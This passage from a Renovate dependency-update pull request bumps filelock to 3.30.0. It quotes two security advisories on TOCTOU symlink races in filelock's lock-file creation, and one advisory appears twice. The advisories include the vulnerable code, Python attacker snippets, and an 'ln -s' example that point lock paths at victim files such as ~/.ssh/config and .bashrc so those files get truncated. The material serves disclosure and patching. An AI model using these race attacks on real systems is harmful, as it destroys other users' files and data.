[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Release Notes <details> <summary>tox-dev/py-filelock (filelock)</summary> ### [`v3.30.0`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.30.0) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.7...3.30.0) <!-- Release notes generated using configuration in .github/release.yaml at 3.30.0 --> #### What's Changed - 🎨 style: readability cleanup across the library by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#598](https://redirect.github.com/tox-dev/filelock/pull/598) - 🐛 fix(api): ignore lifetime on native OS locks by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#593](https://redirect.github.com/tox-dev/filelock/pull/593) - 🐛 fix(unix): don't mutate lock file before acquiring flock by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#594](https://redirect.github.com/tox-dev/filelock/pull/594) - soft: evict a non-regular lock file without reading it by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#597](https://redirect.github.com/tox-dev/filelock/pull/597) - 🐛 fix(windows): bind reparse-point check to the locked handle by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#596](https://redirect.github.com/tox-dev/filelock/pull/596) - 🐛 fix(api): make native lock release transactional by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#615](https://redirect.github.com/tox-dev/filelock/pull/615) - 🐛 fix(soft): make marker writes and cleanup transactional by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#614](https://redirect.github.com/tox-dev/filelock/pull/614) - 🐛 fix(windows): open the lock file through NtCreateFile by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#617](https://redirect.github.com/tox-dev/filelock/pull/617) - ✨ feat(api): add context\_error\_policy for dual context failures by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#618](https://redirect.github.com/tox-dev/filelock/pull/618) - 📝 docs: correct Unix lock-file cleanup and flock claims by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#623](https://redirect.github.com/tox-dev/filelock/pull/623) - ✨ feat(api): add close\_error\_policy for post-unlock close errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#619](https://redirect.github.com/tox-dev/filelock/pull/619) - 🐛 fix(api): canonicalize singleton keys without following a final symlink by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#621](https://redirect.github.com/tox-dev/filelock/pull/621) - ✨ feat(unix): add fallback\_to\_soft opt-out for native locks by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#622](https://redirect.github.com/tox-dev/filelock/pull/622) - ✨ feat: add lock\_descriptor for a caller-owned descriptor by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#620](https://redirect.github.com/tox-dev/filelock/pull/620) - ✨ feat(api): add preserve\_lock\_file to keep the lock pathname by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#624](https://redirect.github.com/tox-dev/filelock/pull/624) - ✨ feat(api): add on\_acquired post-acquisition hook by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#625](https://redirect.github.com/tox-dev/filelock/pull/625) - 🔧 build(release): towncrier changelog pipeline, backfill, and docs by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#626](https://redirect.github.com/tox-dev/filelock/pull/626) - 📝 docs: drop bot entries and link code refs in the changelog by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#638](https://redirect.github.com/tox-dev/filelock/pull/638) - 🐛 fix(api): validate lifetime values by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#644](https://redirect.github.com/tox-dev/filelock/pull/644) - 🐛 fix(win32): capture process probe errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#645](https://redirect.github.com/tox-dev/filelock/pull/645) - 🐛 fix(api): reject dropped lock options by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#646](https://redirect.github.com/tox-dev/filelock/pull/646) - 🐛 fix(api): retain acquisition path identity by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#647](https://redirect.github.com/tox-dev/filelock/pull/647) - 🐛 fix(api): detach grouped release errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#648](https://redirect.github.com/tox-dev/filelock/pull/648) - 🐛 fix(descriptor): define unavailable behavior by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#650](https://redirect.github.com/tox-dev/filelock/pull/650) - 🐛 fix(ci): map absolute coverage paths by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#651](https://redirect.github.com/tox-dev/filelock/pull/651) - 🐛 fix(soft): relinquish fd before close by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#649](https://redirect.github.com/tox-dev/filelock/pull/649) - 🐛 fix(async): make cancellation atomic by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#652](https://redirect.github.com/tox-dev/filelock/pull/652) - 🐛 fix(sqlite): isolate forked connections by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#657](https://redirect.github.com/tox-dev/filelock/pull/657) - 🧪 test(conftest): scope the close mock to one descriptor by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#656](https://redirect.github.com/tox-dev/filelock/pull/656) - ✨ feat(soft): add strict soft locks and leases by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#658](https://redirect.github.com/tox-dev/filelock/pull/658) - ✨ feat(strict): replace shared markers with owner claims by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#659](https://redirect.github.com/tox-dev/filelock/pull/659) - 🐛 fix(soft): detect a reused PID via process start time by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#660](https://redirect.github.com/tox-dev/filelock/pull/660) - 🔒 fix(soft): fail safe on transient heartbeat errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#661](https://redirect.github.com/tox-dev/filelock/pull/661) - 📝 docs: state the lock trust boundaries once by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#663](https://redirect.github.com/tox-dev/filelock/pull/663) - 👷 ci(perf): add the performance and NFS matrix by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#664](https://redirect.github.com/tox-dev/filelock/pull/664) - Replace prettier with mdformat and yamlfmt by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#667](https://redirect.github.com/tox-dev/filelock/pull/667) - 👷 ci(matrix): add SMB, capability, and matrix docs by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#665](https://redirect.github.com/tox-dev/filelock/pull/665) **Full Changelog**: <tox-dev/filelock@3.29.7...3.30.0> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://redirect.github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMjQuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIyNC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19--> Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
renovate-coop-norge Bot
added a commit
to coopnorge/engineering-docker-images
that referenced
this pull request
Jul 16, 2026
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.29.7` → `3.30.0` |  |  | --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) - [https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - 